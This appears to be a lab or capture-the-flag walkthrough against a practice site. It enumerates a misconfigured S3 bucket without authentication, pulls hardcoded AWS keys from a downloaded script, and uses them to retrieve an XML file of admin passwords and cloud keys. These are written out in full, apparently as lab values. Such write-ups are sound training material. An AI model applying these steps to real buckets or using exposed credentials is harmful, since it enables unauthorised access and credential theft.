The address is:http://dev.huge-logistics.com

Check the source code and find the hosted static website built by aws s3

‣

Direct access to this site prompts no permission

curl -v https://s3.amazonaws.com/dev.huge-logistics.com/
* Host s3.amazonaws.com:443 was resolved.
* IPv6: (none)
* IPv4: 16.15.192.0, 52.216.241.70, 52.216.99.165
*   Trying 16.15.192.0:443...
* Connected to s3.amazonaws.com (16.15.192.0) port 443
* schannel: disabled automatic use of client certificate
* ALPN: curl offers http/1.1
* ALPN: server accepted http/1.1
* using HTTP/1.x
> GET /dev.huge-logistics.com/ HTTP/1.1
> Host: s3.amazonaws.com
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< x-amz-bucket-region: us-east-1
< x-amz-request-id: BF0G6KGN320BSCJZ
< x-amz-id-2: twfX/3vzncbaNmfKkrvVO8ocYj/Y4aweIJIo4d7XO+ZaHIGvyEwcph30G6/75U7PEwLPeqa+byAwa82i/ZEUsDu65FsRX0Pl
< Content-Type: application/xml
< Transfer-Encoding: chunked
< Date: Sat, 14 Sep 2024 05:34:56 GMT
< Server: AmazonS3
<
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>BF0G6KGN320BSCJZ</RequestId><HostId>twfX/3vzncbaNmfKkrvVO8ocYj/Y4aweIJIo4d7XO+ZaHIGvyEwcph30G6/75U7PEwLPeqa+byAwa82i/ZEUsDu65FsRX0Pl</HostId></Error>* Connection #0 to host s3.amazonaws.com left intact

Try accessing aws -cli and see

--no-sign-request (no authentication) method to view objects in the bucket

aws s3 ls s3://dev.huge-logistics.com --no-sign-request

 aws s3 ls s3://dev.huge-logistics.com --no-sign-request
                           PRE admin/
                           PRE migration-files/
                           PRE shared/
                           PRE static/
2023-10-17 01:00:47       5347 index.html

Continue to check the permissions and details of each directory

It turns out that the shared and static folders can be accessed. Pay attention to something here.

Can aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request|
Cannot aws s3 ls s3://dev.huge-logistics.com/shared --no-sign-request

Missing a "/" will cause the parent directory to be accessed

Download this zipaws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip . --no-sign-request

The ps1 file inside exists aksk

# AWS Configuration
$accessKey = "AKIA3SFMDAPOWOWKXEHU"
$secretKey = "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"
$region = "us-east-1"

Set up AWS hardcoded credentials

Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey

Set the AWS region

Set-DefaultAWSRegion -Region $region

............................................

Configure ak sk and region

aws sts get-caller-identity Check your own permissions

pam represents high authority

Test whether this credential can access the bucket

It seems that there is only list but no read permission.

Continue to view other foldersaws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml .

<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
    <!-- Oracle Database Credentials -->
    <CredentialEntry>
        <ServiceType>Oracle Database</ServiceType>
        <Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
        <Username>admin</Username>
        <Password>Password123!</Password>
        <Notes>Primary Oracle database for the financial application. Ensure strong password policy.</Notes>
    </CredentialEntry>
    <!-- HP Server Credentials -->
    <CredentialEntry>
        <ServiceType>HP Server Cluster</ServiceType>
        <Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
        <Username>root</Username>
        <Password>RootPassword456!</Password>
        <Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
    </CredentialEntry>
    <!-- AWS Production Credentials -->
    <CredentialEntry>
        <ServiceType>AWS IT Admin</ServiceType>
        <AccountID>794929857501</AccountID>
        <AccessKeyID>AKIA3SFMDAPOQRFWFGCD</AccessKeyID>
        <SecretAccessKey>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</SecretAccessKey>
        <Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
    </CredentialEntry>
    <!-- Iron Mountain Backup Portal -->
    <CredentialEntry>
        <ServiceType>Iron Mountain Backup</ServiceType>
        <URL>https://backupportal.ironmountain.com</URL>
        <Username>hladmin</Username>
        <Password>HLPassword789!</Password>
        <Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
    </CredentialEntry>
    <!-- Office 365 Admin Account -->
    <CredentialEntry>
        <ServiceType>Office 365</ServiceType>
        <URL>https://admin.microsoft.com</URL>
        <Username>[email protected]</Username>
        <Password>O365Password321!</Password>
        <Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
    </CredentialEntry>
    <!-- Jira Admin Account -->
    <CredentialEntry>
        <ServiceType>Jira</ServiceType>
        <URL>https://hugelogistics.atlassian.net</URL>
        <Username>jira_admin</Username>
        <Password>JiraPassword654!</Password>
        <Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
    </CredentialEntry>
</CredentialsExport>

There is also ak sk aws config inside.

You can query the flag